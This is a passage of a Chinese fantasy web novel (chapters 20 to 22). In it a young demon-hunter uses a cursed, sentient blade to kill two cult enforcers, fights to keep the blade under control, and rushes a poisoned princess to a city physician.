再好的法器,到了武夫手里,与菜刀没什么区别。 左白的这把寒冰剑,速度之快,甚至超过了萍山君,如同跗骨之蛆,专门攻向云缺的咽喉心脉等要害。 稍有差池,便会命丧当场。 云缺只能选择防御。 以长刀挡下几次飞剑后,云缺再次被法器的威能震飞。 这次不等落地,寒冰剑腾空而起,从上至下刺向云缺的心窝。 “死吧,无名小卒。” 左白冷哼中,手中的剑诀突然一变。 那把寒冰剑在半空旋转起来,犹如陀螺般,竟卷起了一股小型的风卷。 这一剑,是七品辟谷境修士的全力一击! 迎着斩来的冰剑,云缺非但没有惊慌,反而嘴角翘起一种古怪的笑意。 左眼深处,一点血色荡漾开来! 云缺再次动用了对战萍山君的力量! 当左眼转为血红,刀身上的血色竖瞳同时出现。 轰!!! 旋转而落的冰剑尖端,正好砸在了刀身上的竖瞳。 原地炸起一层气浪,震落了一地树叶,狂风四散。 驼背的左白忽地皱了下眉。 漫天落叶遮挡了他的视线,他看不到云缺的身影。 但法器与他心神相连,他能清晰感受到刚才的一击,没能灭杀了对手。 左白有些震惊。 他可是七品辟谷境修士! 刚才那一击,即便七品武者也很难挡得下来,八品武夫必定会死于剑下。 可对方偏偏没死! 左白刚刚泛起的一丝震惊,很快转换成更大的惊骇。 在他面前,一道红光从落叶里劈出! 那是一把刀。 一把血色的长刀! “你的剑不错,该我了!” 云缺的声音清冷如霜,猩红的左眼闪烁着无尽煞气。 这一刀,他等待了良久。 就是要趁着对方施展全力之后,那一瞬间的疏忽! 距离过远的话,武夫无论对战任何体系的修士都讨不到丝毫好处,谁让人家能隔空驾驭法器。 可一旦近身,天下间的任何修士都将体会到武夫的恐怖! 长刀划破空气,啸声如妖! 左白在看到刀光的瞬间,立刻做出应对,他以最快的速度甩出一张符箓。 符箓飞出的同时暴起金芒,其上遍布着密密麻麻的符文。 “盾甲符!” 左白冷喝中,眼前的符箓融化开来,瞬间在他身前形成一面一人高的钢铁墙壁,厚有三寸,犹如一面巨大的盾牌。 这道盾甲符出现的时机极为恰当,正好挡在了刀光面前,将左白护住。 盾甲符价值极高,一张至少上千两,是防御类的符箓,用好了足以保命。 重盾成型,左白眼里的惊诧随之散去。 这张盾甲符,足以挡得下七品武者的全力一击,只要他的寒冰剑调转回防,即可稳占上风。 左白的应对十分迅捷,只是他低估了云缺这一刀的力量。 咔!!! 厚重的遁甲上,透过一片血光。 半个刀身直接破开了重盾,刀刃离着左白不足半尺。 左白的脸色骤然大变,往后急退数步。 刚才如果他站得往前多出一步,现在估计心窝已经被洞开。 最让左白震撼的是,那半截刀身上,竟有一只血色的竖瞳,宛如妖兽般死死的盯着他。 “妖刀!” 左白身为辟谷境修士,他的感知力很强,他能感受到刀中存在着令人惊惧的磅礴妖气! 重盾四分五裂,碎开的同时化作虚无。 云缺的身影瞬息而至,随着转动的身形,血色长刀划出一圈环形的刀芒。 这一刀速度之快,除非同阶武者,否则没人能躲得开。 左白的寒冰剑已经在回转的路上,却来不及了。 ‘打武先出手,晚了被送走。’ 此刻的左白,切身体会到这句带有调侃意味的谚语含义。 打武者,若是先出手,对战局的影响未必太大,有可能赢,也有可能败。 但是晚了的话,一定会被武夫一套带走。 “右黑!” 左白避无可避,他大吼出声。 于此同时,左白脚下的影子突然蠕动起来,凝聚出一团黑影。 黑影是一把巨斧! 巨斧迎着长刀劈出,发出一声闷响。 刀光被震退,巨斧上也出现了一道明显的豁口。 云缺被一股巨力震退出十余丈,双脚才站稳。 抬头看去。 左白身旁多出一个人。 此人身形矮小,但极为墩实,穿着黑袍,壮硕的手臂握着比自身还高的巨斧。 “七品武者。” 云缺暗暗低语。 从对方的力量即可估计,那矮小的壮汉是七品炼神境高手! 名为右黑的家伙沙哑笑道: “老左,你的剑也不行啊,以后可得好好练练,连个小小八品武夫都砍不死,还得让我出马。” “少贫嘴了,这小子有古怪,他不是普通的八品武夫,我们联手杀了他!”左白将寒冰剑悬于身前,冷声道。 “狗屁的古怪,仗着有把好刀而已,这种人我见多了,只要没了刀,他就是案板上的鱼肉,任我们宰割!”右黑怪笑道。 面对两位七品高手,云缺丝毫不惧,但脸上的疲惫却难以掩饰。 牧青瑶的秀眉紧紧锁起。 如果是一名七品境界的敌人,她相信云缺有能力应对。 可一旦出现两名,牧青瑶并不认为云缺还有希望获胜,再战下去,只有死路一条! “云缺……” 牧青瑶的呼唤刚刚出口,左白与右黑两名红莲教护法已然齐齐出手。 右黑脚下爆发出巨力,整个人犹如炮弹般掠出,手中巨斧以泰山压顶之势劈下。 左白的寒冰剑速度更快,先一步飞抵云缺身后,封死了退路。 两名红莲教护法,没打算放过云缺,动用全力出手。 再次的恶战,云缺彻底陷入下风。 七品炼神境武者加上七品辟谷境修士,联手之下任何八品修士都抵挡不住。 云缺只有一把刀,却要同时面对两位超越自己一个大境界的对手,即便拼力抵挡,还是被右黑的巨斧扫到本体,整个人如断线的风筝般飞出。 左白见状冷笑了一声,寒冰剑直奔云缺的脖子斩下。 为了挡下这致命一击,云缺用尽全力挥出长刀。 金铁交鸣中,寒冰剑被震开。 血色长刀也随之脱手。 咔! 刀身插在远处的地面,仅剩刀柄。 随着云缺的身体跌落在地,牧青瑶的心也沉入谷底。 今天她这位灵芸郡主,在劫难逃。 云缺挣扎着爬起来想要去拿刀,结果迎来了右黑的一套连环斩,巨斧连切,剁馅一般砍出一片斧影。 云缺只能靠着肉身之力腾挪闪避。 每一次躲闪几乎都贴着斩落的巨斧,险之又险,看得牧青瑶提心吊胆。 “没了刀,你这种小蚂蚁还能翻起什么浪花!给我死!” 右黑的巨斧越来越快,挂着霍霍风声。 别看他个子不高,体质极强,那把数千斤的巨斧在他手里宛如玩具。 这场恶战,牧青瑶已经看到了结局。 小郡主很清楚七品武者与八品武者之间的巨大差距。 七品炼神境武者,专门淬炼元神,以元神融合气血,从而冲开奇经八脉,开启丹田,可外放气机,有无穷无尽的力量。 炼神境武者作战,有着强悍的持续力,这一点是八品武者所欠缺的关键。 云缺即便能动用接近七品武者的力量,但本体的气力却远远比不得七品武者,尤其失去了长刀,战力随之骤降。 牧青瑶看不到任何希望。 这次的死斗,从一开始,就注定了结果。 嘭!! 轰!! 右黑从上而下的一脚,将云缺轰在地面,砸出一个半丈深的大坑。 左白站在坑边,瞥了眼难以起身的黑衣少年,冷笑道: “倒是挺耐打的,小子,你活不过今晚!” 寒冰剑闪烁起冷芒,对准了大坑里的少年。 “住手!” 牧青瑶忽然冷喝道:“我跟你们走就是了,放过他。” “这可由不得你。”左白冷声道。 唰! 牧青瑶将一把藏在袖子里的匕首横在自己颈间,道:“你们教主应该想要活的灵芸郡主,如果不放他走,我立刻自尽。” 左白那张毫无血色的长脸上,表情狰狞了一下,又瞬间恢复正常,笑道: “既然如此,那便给郡主个面子,无名之辈,饶他一命也就是了,郡主殿下,请吧。” 左白微微躬身,朝着红色小轿比量个请的手势,同时对右黑使了个眼色,示意同伴杀掉云缺。 右黑会意,无声的狞笑了起来。 牧青瑶最后看了眼大坑里的云缺,迈步走向小轿。 这是她能做到的最后努力,为云缺争取一线生机。 就当小郡主即将上轿的时候,身后传来了一道沙哑虚弱,却倔强不屈的声音。 “我有名字,我叫,云缺……” 左白,右黑,牧青瑶齐齐回头。 在几人的视线中,大坑边缘伸出了一只染满鲜血的手! 在那只手之后,是一双冷漠到极致的血色双眸! “缺钱的缺!” 云缺缓慢的爬了出来,双眼完全变成血色,他身后的虚空在微微震颤,仿佛被某种奇异的力量撕扯着,扭曲成一只无人得见的竖瞳! 第20章 天道算老几 并不强壮的身影,再一次站直。 一身黑衣,一双血瞳! 提着巨斧的右黑诧异了一下,被他连番重击,八品武者不可能还爬得起来。 偏偏对方居然能站着! 牧青瑶咬着银牙,喝道: “走啊!别管我!你不是贪生怕死吗,你快走!别忘了你最大的抱负是活下去!” 云缺笑了。 嘴角的血迹,让他的笑容变得诡异起来。 “我是怕死,但买卖就是买卖,既然收了你的银子,就要带你到百玉城。” “我不去百玉城!我们的买卖一笔勾销,银子就当赏你的,你走!” 牧青瑶说着冷漠之言,可谁都听得出来,她想要为云缺争取一条活路。 “闭嘴!” 云缺望着牧青瑶,沙哑笑道:“从现在开始,你是我押运的货物,谁敢劫我的货,我就杀了谁。” 左白大笑道:“哈哈哈!好一个英雄少年,护花使者!那么,你要如何杀掉我们呢。” 右黑嗤笑道:“凭你的一张嘴,可杀不掉我们,小子,给你活路你不要,那只能干掉你了!” 云缺冷笑道: “你们红莲教,是不是只会欺负人呢,二打一,还是两个七品打一个八品。” 左白冷哼道:“你也可以找帮手啊,是你找不到罢了,死吧小东西,别以为靠着一身煞气就能挡得住两位七品高手。” 右黑讽刺道:“模样不赖,眼珠都红了,这点小把戏吓唬吓唬小姑娘还行,老子也会!” 说着右黑运转气机,立刻双眼血丝密布。 虽然没有云缺那种殷红如血,但也呈现出两颗近乎血色的双瞳。 被人不屑,被人嘲讽,被人无视,云缺默默体会着这种熟悉的感觉。 儿时的他,穿着破破烂烂的衣服走在街头的时候,周围都是这些冷漠的目光与指指点点的嘲笑。 那又如何呢? 云缺从不觉得独孤。 也从未觉得过无助。 因为,他从来不是孤身一人! “呵……呵呵呵呵!既然你们喜欢以多欺少,那我也叫人喽。” 云缺突然笑了。 笑声癫狂! 豁然探出单手,云缺嘴角的鲜血仿佛活了过来,愈发猩红。 嗡!!! 插在远处地面的长刀,开始奇异的震颤起来。 刀柄缓缓提起。 仿佛有一只无形的大手,握住了那把血色长刀。 左白的脸色微微一变,吩咐道: “布阵!封住他的刀!” 红莲教的两名护法,对云缺唯一忌惮的地方,就是那刀身上有着一颗血瞳的长刀。 八名红莲教教徒快步而上,在长刀旁边排列成阵,各自掐动法诀。 八人之间浮现出一条金色的光线,类似缎带一般,互相串联,勾勒出八角形的图案。 从高处看去,八名教徒互相之间仿佛出现了一座大门。 “八门封灵阵!” 牧青瑶一眼看出阵法的来历。 这种法阵,需要多人方可布置,专门封印一些灵体与灵物,也可用来封印妖兽。 八名红莲教教徒均为九品炼气士,单独一人的灵气无法施展法阵,但聚集八人之力,就能布下八门封灵阵这等威能不俗的阵法。 这也是道家法门的奇特之处。 左白冷哼道: “早看出你那把刀有古怪,有八门封灵阵存在,你别想拿得回去!本座倒要看看,你没了刀,还能有什么能耐!” 右黑挥动巨斧道:“这种人就叫给脸不要脸!别跟他废话了,既然他想死,成全他就是了!” 左白点了点头,寒冰剑对准云缺。 身为辟谷境修士,左白的感知远超同为七品的炼神武者。 他隐约有一种预感,对方的那把血色长刀里,藏着某种可怕的力量,绝对不能让云缺拿到手。 面对危险,最安全的做法,就是将危险扼杀在萌芽状态! 尽管长刀被法阵封印,云缺却执着的想要取回长刀,两手朝着远处的长刀方向拼力拉扯。 他这副隔空抓刀的模样,十分滑稽,犹如小丑,看得左白与右黑哈哈大笑。 八品武夫根本没有隔空摄物的能力,即便有,被法阵封印的长刀也绝对拿不会去。 哗啦!!! 就在左白与右黑肆意嘲笑的时候,一种锁链的响动出现在云缺手里。 这时云缺做出了一个外人无法理解的动作。 他身体后仰,两手交替往后拉扯着什么,可手里空空如也。 虽然看不到云缺在拉扯什么东西,但左白与右黑却能听到铁链在石壁上摩擦般的响动。 哗啦! 哗啦!! 哗啦!!! 随着这种诡异的响动,左白右黑的心神也在颤动,一种战栗的感觉在两人心头升起。 仿佛云缺正握着一条连接地府的锁链,要将来自死域的阎罗,拉上地面! 左白右黑看不到的东西,牧青瑶却看得一清二楚。 身为通灵之体,灵芸郡主有着天生的瞳力,在她眼中,云缺手里并非空无一物。 而是在拉扯着一条殷红的铁链! 铁链殷红如血,犹如以鲜血组成,一环套着一环。 更让牧青瑶惊诧的是,云缺所拉扯的铁链,一头没入地底,另一头竟缠在他的手臂上,与手臂连接在一起。 无形血链,自固其身! 云缺拉动的锁链不是死的,而是活的! 那锁链在不断扭曲晃动。 锁链每晃动一下,就有一名布置八门封灵阵的教徒喷出一口鲜血。 在外人看来,云缺拉扯的不是锁链,而是八名布阵教徒的命! 这种诡异的情况,连七品武者右黑也察觉到不对劲了。 “这家伙有点邪门,速战速决!弄死他!”右黑抡起巨斧大步冲出。 “无名小卒,也敢在强者面前卖弄!剑法,冰天雪地!”左白更是施展出极其耗费灵力的剑法。 寒冰剑在飞行途中,将四周空气尽数凝固。 极寒降临,大雪纷飞! 在漫天飞雪当中,在巨斧临头之下,云缺用尽力量拽动着最后一下。 “妖之力……血爪!” 哗啦啦! 血色锁链终于被尽数拽出。 锁链的尽头不是长刀,而是一只庞大的血色利爪! 这一刻,夜空中的皓月仿佛被染上了一层血色。 血色利爪从八门封灵阵中破土而出,炸起一圈刺眼的血光! 在血光内,周围的八名红莲教教徒顷刻毙命! 法阵瞬间坍塌! 利爪有数丈大小,乍一出现就将袭来的寒冰剑握住。 随着咔嚓嚓的脆响,左白的法器寒冰剑被捏成粉碎! 利爪握起,形成拳头,一拳将劈来的巨斧轰断,同时在撕裂的风声中轰然落下。 嘭!!! 七品炼神武者右黑,被一拳活生生砸成了肉饼! 左白愣怔了瞬间,转身就逃,速度奇快。 这位红莲教护法现在的心里充满恐惧,连头都没敢回,更别提去抓郡主。 他现在只剩一个心思,那就是逃命! 哗啦,哗啦。 云缺轻轻转动着锁链,嘴角的笑容愈发诡异。 “想逃?晚了!” 云缺伸出了左手。 哗啦!! 锁链绷直,那只血色利爪与云缺左手的动作一致,越过数十丈的空间,笼罩在左白头顶。 随着云缺五指合拢,狂奔的左白被利爪轻易抓住。 直接提了起来。 “放开我!你这妖人!我乃红莲教护法,火烛使者!伤我者,当被红莲教追杀一世!” 左白面无血色,拼命挣扎,哪里还有刚才的居高临下咄咄逼人,只剩下狼狈不堪。 “自己行妖魔之事,反说别人是妖魔,你们红莲教都是吃的粪土长大的么,会不会说点人话。” 云缺冷笑道:“不是比人多么,来呀,咱们再比一比,到底谁的帮手多!” 血色巨爪缓缓捏紧。 左白喷出一大口鲜血。 他是道门修士,肉身的坚韧程度远远比不过七品武者右黑,连右黑都被巨爪一击轰杀,他哪里挺得住。 “你敢大逆不道!我红莲教应天道而生,你若杀我必遭天谴!” 左白喷着血大声嘶吼,脸上满是绝望惊恐。 云缺淡漠道: “区区邪教也敢妄称应天而生,你好大的一张脸呐!就算天谴又如何,天道算老几!” 咔嚓!!! 巨爪合拢! 七品辟谷境修士左白,直接被捏成一团模糊的血肉! 血腥的场面,令一旁的牧青瑶连呼吸都停顿了一瞬。 她知道云缺很强。 但她从未想象过云缺会强横到如此程度! 以八品武夫的一己之力,灭杀两位七阶高手! 经此一战,红莲教一行人尽数死绝。 丛林里安静了下来。 只剩下云缺沉重的呼吸声,与锁链自行晃动的哗啦响声。 强敌虽死,云缺的表情没有半点轻松。 反而比刚才还要沉重。 云缺死死的抓着锁链尽头,一点点将巨爪拉到自己身前。 这个过程,时间不长,云缺却累得满头冷汗。 随着巨爪的接近,巨爪本身渐渐恢复成刀体的轮廓,但刀身上的血色浓烈得惊人,起伏的血光时而幻化出巨爪,时而消失,反复不断。 直至用尽全力,云缺依旧没能恢复长刀。 刀身已经成型,可刀体的前端始终有一个妖爪的影子存在。 那妖爪死死抓着地面,看似不肯回归刀体。 牧青瑶跑向云缺,打算问问能不能帮忙。 “别过来!” 云缺低吼着阻止了牧青瑶靠近。 灵芸郡主的脚步随之顿住。 牧青瑶能看出云缺此刻十分痛苦,额头上青筋暴起,五官狰狞。 “我能帮什么忙?”牧青瑶急切的道。 “去找蛋!鸟蛋蛇蛋鹌鹑蛋,鸡蛋鸭蛋王八蛋,什么蛋都行!带壳的就行!去找,找不到别回来!” 云缺的声音低沉而决然。 牧青瑶紧紧抿着唇,用力点点头,转身跑向远处的林间。 牧青瑶终于知道了云缺为何有生吞蛋类的习惯,原来是为了压制这股奇异又恐怖的力量。 牧青瑶更加清楚一点。 云缺让他找不到就别回来,是怕连她也一并杀掉! 至此,牧青瑶第一次知道了云缺的那把刀,居然如此恐怖。 她也明悟了为何云缺说现在的司天监,无法打造出前朝的斩妖司。 因为斩妖司的人,的确都是怪物! 当牧青瑶的身影消失在丛林深处,云缺终于耗尽最后的力量。 刀体中,再次睁开了血色竖瞳。 那只与刀身连接在一起的妖爪虚影,缓缓伸向了云缺这位主人。 第21章 妖刀 天边泛起一线霞光。 在白昼来临之前的那一刻,往往是暗夜最深之时。 昏暗的丛林里。 云缺抓住了刀柄。 同时刀体中的妖爪,也掐住了云缺的脖子。 如果说探出妖爪的长刀还算一把刀的话,那么此刻的云缺正处在一种诡异的状态。 云缺握着刀,而刀指着自己! 云缺的双眼赤红如血,一手死死握着刀,一手狠狠抓着妖爪,想要将其掰开。 然而妖爪上的巨力,恐怖至极,以云缺的力量根本无法撼动。 那只妖爪,能轻易灭杀掉七品修士与七品武者! “回去……给我回去!” 云缺艰难的发出低吼,咬牙切齿的模样狰狞骇人。 咔!咔! 奇怪的声音出现,仿佛有东西正在开裂。 云缺的目光下垂,死死盯着妖爪。 在妖爪的手背处,睁开了一条裂痕,好似一张嘴巴。 “嘻嘻嘻!!” “哈哈哈!!” “嘎嘎嘎嘎嘎!!!” 裂痕扭曲蠕动,发出令人头皮发麻的阴森笑声,宛若活物。 诡异的笑声中,嘴巴的上方睁开了一只血色竖瞳! 当竖瞳出现的那一刻,云缺眼中的血色变得更加浓烈,盖住了眼底的那一丝清明。 噗! 云缺直接喷出一口鲜血。 血水染在竖瞳上,缓缓流下好似血泪,被那道大嘴般的裂痕贪婪吞噬着。 “够了……回去!” 云缺几乎在咆哮,声音沙哑中透着极致的虚弱。 可那嘴巴在吞噬掉鲜血后,并未消失,反而发出诡异的人声。 “你特意支走那丫头,莫非喜欢上了人家,这种破绽可是要命的哦,猎妖之人,破绽越少才能活得越久。” 声音听不出男女,在荒林间彷如鬼语。 “要你管!给我滚回去!”云缺吼道。 妖爪上的嘴巴再次开合,发出声音: “要帮忙就喊人家出来,用完了就让人家滚,你们男人果然无情啊,好多年没闻到新鲜的活人气息了,那丫头的玄阴之体可是大补之物,嘻嘻嘻嘻!” “只要我不死,你别想出来!”云缺低吼道。 “那可由不得你喽,你没有力量也没有祭品,拿什么让我回去呢,出来玩玩而已,何必那么害怕,这人世间,你还有什么留恋么,不如我们一起毁了这天下,嘻嘻嘻,嘎嘎嘎!!!” 诡异的笑声中,云缺眼前开始天旋地转,直至被黑暗填满。 丛林内,云缺昏死了过去。 仍旧死死的抓着刀柄。 而他的身体却开始变化,一头黑发,一根根的转红…… 妖刀的笑声渐渐远去。 云缺听不见声音,也看不见东西。 四周一片黑暗。 他如同陷入了九幽地府,等待着黑白无常来引路。 尽力了…… 云缺叹息一声,无奈的摇摇头。 死了也好,一了百了。 反正早晚都要死。 身为斩妖司的人,又有谁能善终呢。 云缺在黑暗里坐了下来,以手托腮,安然的等待着死亡降临。 思绪就此停滞,仿佛世界也凝固了下来。 不知过了多久,一缕光线在面前出现,随后铺展出一方天地。 眼前,是一片惨烈的战场! 尸横遍野,一望无尽! 再一次,云缺看到了三岁那年,宛若地狱般的恐怖景象。 四周到处都是残肢断骸。 没有活人。 也没有活物。 一颗比牦牛还大的狼首挂在一棵参天古树上。 两只水盆大的熊掌镶嵌在一块巨岩里。 上千具白森森的人类骷髅堆积成一座骨山。 数百柄遍布豁口的长刀插在一头两人高的巨兽尸体上。 左侧的高山开裂成两半,形成一条峡谷,一头展开双翼足有十余丈的鹰妖死在山顶,垂落的鹰爪上缠满了干枯的怪蟒,好似一条条藤蔓填满峡谷。 右侧的小湖染成了红色,没有半点波澜,湖面上漂浮着数以万计的尸体,有人的,也有妖的。 远处,高耸入云的恢宏殿宇直插云霄。 一条铺满尸骸的血色之路,连接着云缺与殿宇之间的距离。 那是妖都! 这场旷世之战最后的目的地。 恶战是何时结束的,云缺不知道。 胜了,还是败了,云缺也不知道。 云缺只记得此行唯一的任务。 斩妖! 可是自己的刀早就砍断了,本该就此战死,不知为何却还活着。 这片死域之地,是云缺这些年来始终挥之不去的梦魇。 眼前的光线逐渐暗淡下去。 黑暗重新合拢成牢笼。 黑暗里,云缺的耳畔响起了母亲的声音。 “活下去,云儿,你一定要活下去……” 活下去。 活下去! 或许是母亲的叮咛,又或者是冷雨临身,小小的云缺再一次醒来。 身边是荒草老树,陌生的山林。 倾盆大雨。 眼前没有母亲温柔的笑容,而是一头生着独角的巨大野猪,鼻息如两团云雾。 “妖……” 小小的云缺习惯的抬起手,尽管没有刀,依旧习惯的做出劈斩姿态。 咔嚓!! 野猪妖轰然倒下,硕大的头颅被一刀斩断! 杀掉猪妖的,是一把狭长的黑刀。 “不是我的刀……” 小小的云缺艰难低语,他从没见过这把刀,只觉得陌生而冰冷。 “现在是了,嘻嘻嘻嘻!” 黑刀中睁开一只血瞳,发出诡异的女人声音: “从今天开始,我是你的刀,也是你的命,想要使用我的力量,就要用神魂作为祭品,千万记住喽,如果没有献上神魂,那么你,将是最后的祭品,嘻嘻嘻嘻!” “我的刀……你叫什么。” “当你足够强大的时候,才有资格知道,弱小的主人,不配喊我的名字。” …… 丛林内。 云缺的黑发已经有过半转为殷红。 妖刀里探出的妖爪,正轻柔的抚摸着那半头红发。 “睡吧,我的小主人,接下来,该换我喽,玄阴之体啊,真正的美味佳肴!嘻嘻,哈哈哈哈!” 朝霞已经映照而来。 却无法驱散笼罩在云缺身上的恐怖妖气。 林间的诡异笑声,在片刻后戛然而止。 半头红发,停止了转变! 并且开始逆转! 在云缺的颈间,一道柔和的光晕正在起伏。 那光晕,正来自牧青瑶的月玉挂饰。 “镇魂之物!可恶!” 诡异的声音充满愤怒,抬起右手抓向项链,想要将其摧毁。 嘭! 云缺的左手突然抬起,抓住了自己的右手腕。 “居然还有神智!”诡异的声音吃惊道。 “滚!回!去!” 云缺的口中发出低沉咆哮,左眼已然恢复清明,而右眼的血色依旧浓烈。 再一次的交锋,持续了良久。 借助项链里的力量,云缺最终将妖刀暂时压制。 利爪缩回了刀身。 头发尽数转为黑色。 但眼眸里的血色久久难以消散。 噗通。 云缺跌倒在草地上,大口喘气。 “早晚埋了你!” 云缺有气无力的骂了一句,抓起了长刀,将其收入刀鞘。 他很想埋了这把刀。 可惜做不到。 那不仅是一把妖刀,还与自己本命相连。 无法舍弃,无法远离,无法逃避。 刀,就是云缺的命。 迎着曙光,云缺举起了脖子上的项链。 阳光下,天青色的玉石犹如铺上一层金芒。 其上雕刻的羽毛好似要乘风而起,飘向远方。 “这东西,不止二百两啊……” 这块月玉里,存在着压制妖魂的力量,岂能是凡物。 别说二百两,两千,两万都买不到。 真正的至宝! 或许对别人来说,月玉里的镇魂之力可有可无,多说将其当做清心凝神之物。 可这份镇魂之力,对云缺来说可遇不可求。 如果今天没有这块玉,云缺不知道会发生什么,但他相信,刀里的那家伙一旦出来,必定会生灵涂炭。 远处传来踉跄的脚步声。 牧青瑶一身狼狈的跑了回来。 俏脸上沾染了泥巴,衣衫被荆棘划了好几道口子,两只葱白的小手里,捧着十来个小巧的蛋。 “是蛇蛋,洗过了。” 牧青瑶小心的将蛇蛋交给云缺,累得瘫坐一旁。 云缺二话不说,将十几个蛇蛋尽数生吞了下去。 有点噎得慌。 身边没水,只能硬生生往下咽。 蛇蛋入腹,云缺两眼的血色这才渐渐消散。 妖刀的气息尽数被压制下去。 “谢了。”云缺道。 “我们也算同生共死过,客气什么。” 牧青瑶展颜一笑,笑容很美,可是俏脸苍白得毫无血色。 随后牧青瑶直挺挺倒了下去。 “你怎么了!” 云缺一把抱住对方,惊讶道。 仔细一看,发现牧青瑶的手背上有着蛇牙的咬痕,伤口乌青发紫,明显中了剧毒。 “九星蛇,有剧毒,我在附近找过,没有解毒的花斑草……”牧青瑶虚弱的道。 “明知毒蛇你还敢偷蛋!”云缺道。 “你救过我,我岂能弃你于不顾。”牧青瑶气息微弱的道。 “你傻啊!走了就别回来!”云缺道。 “你肯为我殊死而战,我为你走一遭黄泉又何妨。” 牧青瑶笑容凄美,好像即将凋零的梨花,依偎在云缺怀里道:“红尘如网,我们都是网里的人,把我埋在有花儿的山上就好……云缺,答应我,你要好好活下去……” 说完最后一句,彻底晕厥。 “狗屁的红尘!” 云缺懊恼的骂了句之后,开始在伤口吸出毒血。 蛇毒太烈。 吐出了几口后,云缺的嘴都麻了,而牧青瑶手臂上的毒斑还在向上蔓延。 这种蛇毒,紧急处理已经没多少效果,必须尽快解毒才行。 云缺找了根结实的麻绳,将牧青瑶被咬的手臂死死缠住,延缓蛇毒攻心。 随后用狼皮将牧青瑶裹了起来,绑在身后。 四肢瘫软的活人,最难带着跑,因为对方手脚无力,根本抓不住东西。 只有裹好绑住,当成个物件,才更容易携带。 云缺动用了八品武者最快的速度,在林间狂奔,赶往百玉城。 百玉城有名医,只要坚持到城里,蛇毒即可迎刃而解。 过了不久, 一只红燕从远处飞来,落在枝头,静静盯着林间的满地尸体,小眼睛眨了眨,展翅飞走。 第22章 跑得真快 百玉城是知远县最大的城池之一,繁华程度是藏石镇的几十倍。 一大清早,城门外排起了长龙,等着进城的人多达数百之多。 队伍里多为行商小贩,大多挑着扁担拉着货车,还有不少车队,装着大大小小的货物。 “今儿百玉城大集,我这筐大鱼肯定能卖个好价钱!” “鱼能值几个钱,想要赚钱还得好玉才行,百玉城每年大集都能出几块绝世美玉。” “听说乌鸡镇出了块血玉,是从一头老死的乌鸡身上挖出来的!” “什么老死的乌鸡,那是一头妖!乌鸡镇养了好几年,天天喂血食,就为了养出一块血玉来!” “怪不得乌鸡镇动不动就有大祭,这是拿活人养妖吧?” “嘘!别瞎说,让乌家的人听去,你小命不保!” “什么世道啊,遍地妖邪不说,还有人故意养妖……哎!什么玩意过去了!” 一道人影如狂风般冲过,人群一阵骚动。 很多人没看清是什么,还以为刮起了一阵风。 城门下,云缺终于停住脚步。 至少半天的路程,云缺没用一个时辰便抵达,累得满头大汗。 城门一侧,立着一块大石盘。 石盘上刻着十二个时辰,中间是一个五尺多高的铁针。 这是日晷,用来计算开城门的时间。 城门两侧各有军兵把守。 为首一名年轻校尉,身着轻甲,二十岁上下,扫把眉吊眼梢,神色冷漠,硕大的护心镜锃光瓦亮,很是威武。 看面相,这就不是个好相与的人。 云缺瞄了眼日晷,还有小半个时辰才到开门的辰时。 蛇毒入体,时间耽搁越久越危险。 一路颠簸,这时牧青瑶悠悠转醒,她已经看不见东西,眼前一片模糊,只能听到声音,犹如回光返照。 “开门。”云缺盯向校尉道。 校尉冷笑一声,懒洋洋的指了指日晷道:“半个时辰后,自会开门。” “我有急事。”云缺道。 校尉用下颏点了点排队的长龙,轻蔑道:“都有急事,除非你有圣旨或者六部衙门盖章的通关批文,否则都得等着。” “人命关天,耽搁了你也在责难逃!”云缺道。 “本官奉命看守城门,你的人命关天,与我有什么关系。”校尉冷漠道。 听到这里,牧青瑶彻底绝望,她感受到心跳愈发剧烈,那是蛇毒即将入侵心脉的征兆。 牧青瑶精通医道,她能估算出自己毒发的时间。 无需多久,一刻钟之后,她将毒发身亡! 即将昏厥之际,牧青瑶又听到云缺与校尉的对话,只是这次有点古怪。 “少废话,开价。”云缺道。 “老规矩,五两。”校尉道。 “账里扣,你还欠我一百九十五两银子。”云缺道。 “辰时已到,开门。”校尉的声音带着一丝满意。 牧青瑶听到这里,不由得从绝望中升起希望,峰回路转,原来进城不难。 守门的军兵得到命令,立刻准备开启城门。 这下排队的众人不干了。 进城需要查验货物,这么长的队伍,少说一个时辰才能走完,有个加塞的,谁也不愿意。 “凭什么他插队!” “他最后来的,应该排在最后!” “还有没有规矩了!谁都能加塞的话,我们不用起大早来排队了!” 云缺闻言皱了皱眉。 他现在急着进城,没工夫和这群商贩理论,尤其这帮人最擅长嘴皮子,越是理睬就越是纠缠不休。 年轻的校尉冷哼了一声,挥手示意停止开门。 随后走到日晷前,将上面的铁针掰弯,这下还有半个时辰的开门时间,直接延后到一个时辰。 “官官相护!没有王法了吗!” “大不了我们不进城了!今天就在这耗着,看谁最着急!” “别呀!时间长了我这筐鱼都得臭喽!” “那位我认得!青狐山的猎妖人!人家肯定有急事,让他先进城吧,没有人家,我们知远县哪能这么安生。” “猎妖人怎么了!能猎妖就了不起啊!能猎妖就不守规矩了啊!” 人群里有人不忿,有人服软,有人骂骂咧咧,一时间城门外嘈杂不已。 混乱的声音中,牧青瑶刚刚升起的希望随之散去,眼前一黑,又晕厥了过去。 场面几乎失控。 年轻校尉也不多说什么,又把铁针掰得更弯。 这下距离开门,直接延长了两三个时辰。 人群很快安静下来。 年轻校尉背着手,不急不缓的打着官腔道: “谁先来的。” 唰唰唰! 一双双手指纷纷指向云缺,人群异口同声道: “他先来的!他先进!” 晚上个把时辰,人们都不在乎,可一旦晚上半天,没人愿意多等。 校尉摆了摆手,军兵立刻开启大门。 云缺第一个冲进城中。 连进城的登记簿,都是吊眼梢的校尉代写。 …… 牧青瑶在一间散发着药草味道的小屋中悠悠转醒。 她静静的躺着,没有立刻起身。 心脉的跳动平和稳健,说明蛇毒已经解除。 屋外的落日,预示着时间是黄昏。 从小屋里的摆设与气味,判断出是一间医馆的单间。 推断出周围的情况后,牧青瑶才尝试着坐了起来。 活动一下手脚。 除了头还有些沉之外,自己已经并无大碍。 “跑得真快……” 牧青瑶轻声自语,感慨着云缺的速度。 若非及时抵达百玉城解毒,再晚上一点,她这位灵芸郡主就得命丧黄泉。 “怎么进的城呢?” 昏厥之前,城门处一片混乱,如今自己安然无恙,说明云缺在那么乱的局面下还能及时进城,这一点让牧青瑶感激之余,也颇为好奇。 屋门推开,走进个小丫鬟。 “你果然醒啦,先生说差不多该醒了。”小丫鬟端着一碗汤药,道:“最后一碗药,喝完余毒即可尽除。” 牧青瑶道过谢,接过来闻了闻,慢慢喝下。 十分正宗的解毒药。 里面的药材与用量拿捏得极为精确,以牧青瑶在医道的造诣,足以分辨出配药的这位医者绝对是名医。 